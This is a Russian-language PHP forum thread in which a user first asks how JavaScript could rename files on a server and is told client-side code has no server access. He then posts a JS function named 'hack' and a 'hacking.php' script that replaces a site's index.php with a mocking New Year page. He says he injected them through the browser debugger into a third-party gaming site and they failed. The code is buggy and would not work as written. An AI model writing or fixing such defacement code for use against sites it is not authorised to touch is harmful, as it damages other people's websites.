IT_developer
31.12.2012 - 13:59
Всем привет. Допустим есть 2 файла на сервере. index.html and text.txtЗайдя на index.html магический джаваскрипт должен переименовать text.txt допустим в gfgfgfg.txt
Игорь_Vasinsky
31.12.2012 - 14:04
магический джава не может ничё делать с файлами, зато аяксом можно запустить php скрипт
_____________
HTML, CSS (Bootstrap), JS(JQuery, ExtJS), PHP, MySQL, MSSql, Posgres, (TSql, BI OLAP, MDX), Mongo, Git, SVN, CodeIgnater, Symfony, Yii 2, JiRA, Redmine, Bitbucket, Composer, Rabbit MQ, Amazon (SQS, S3, Transcribe), Docker
Zzepish
31.12.2012 - 15:36
У вас тут сборище сектантов-фанатиков
javascript'а????
inpost
31.12.2012 - 19:34
IT_developerJS = клиент. Клиент не имеет доступа к серверу. Вот представь, у меня есть доступ к серверу майкрософта... это я могу их сайт удалить? Нет? Значит и доступа у меня нет! Доступ имеет серверное приложение, в нашем случае скрипт на
php.
_____________
Обучаю веб-программированию качественно и не дорого:
http://school-php.comФрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
Zzepish
31.12.2012 - 20:12
IT_developer
магический джаваскрипт
Как будто вы ему поклоняетесь )))
IT_developer
1.01.2013 - 13:16
inpost вот смотри. я встроил на свой сайт(через отладчик в хроме) скрипт аякса который обращается к php скрипту и он переименновывает файл на сервер. он не работает. Ошибок не выдало. А если я это сделаю в фсамом файле страници, то он сработает. почему не работает первый вариант?
sergeiss
1.01.2013 - 13:54
Цитата (IT_developer @ 1.01.2013 - 13:16) |
почему не работает первый вариант? |
Ты думаешь, что инпост - экстрасенс?

Ты код покажи, тогда можно будет судить о том, что там происходит.
И вопрос тебе. Ты как вообще проверял, что твой скрипт был запущен через аякс? Может быть, у тебя там что-то не так сделано, и аяксовый запрос просто не дошел до сервера.
_____________
*
Хэлп по PHP*
Описалово по JavaScript *
Хэлп и СУБД для PostgreSQL*
Обучаю PHP, JS, вёрстке. Интерактивно и качественно. За разумные деньги. *
"накапливаю умение телепатии" (С) и "гуглю за ваш счет" (С)
IT_developer
1.01.2013 - 21:01
Вот код JS:
function getXmlHttp(){
var xmlhttp;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}
function hack()
{
var xmlhttp = getXmlHttp()
xmlhttp.open('GET', 'http://........./hacking.php', true);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
if(xmlhttp.status == 200) {
alert(xmlhttp.responseText);
}
}
xmlhttp.send(null);
};
}
А вот и
hacking.php:
<?php
$txt_path = "./uploads/files/index.txt";
if(file_exists($txt_path))
{
$index_ctn = file_get_contents($txt_path);
}
else
{
$index_ctn = file_get_contents("./index.php");
$fp = fopen($txt_path,"w");
fclose($fp);
file_put_contents($txt_path, $index_ctn);
}
$date = explode("-", date("m-d"));
$realibility_text = "<br />А вот и инстркция по восстановлению. Просто откройте файл index.php у вас на сервере и замените его содержимое на: <br >" . $index_ctn;
if($date[0] => 01 and $date[1] => 02)
{
$realibility = $index_ctn;
}
else
{
$realibility = null;
}
$index_new_ctn = "
<html>
<head>
<title>С новыйм годом</title>
</head>
<body>
<center><h1>С новым годом зАдРОтЫ</h1></center>
".$realibility."
</body>
</html>";
if(file_get_contents("./index.php") != $index_new_text)
{
file_put_contents("./index.php", "");
file_put_contents("./index.php", $index_new_ctn);
}
Вот я зашел на сайт(на какой сайт заходил не могу сказать, но он игровой тематики и написан на DLE). Открыл исходный код, вставил подключение JS файла, и сделал кнопку с
onclick="hack(); return false;" И ничего не сработало ))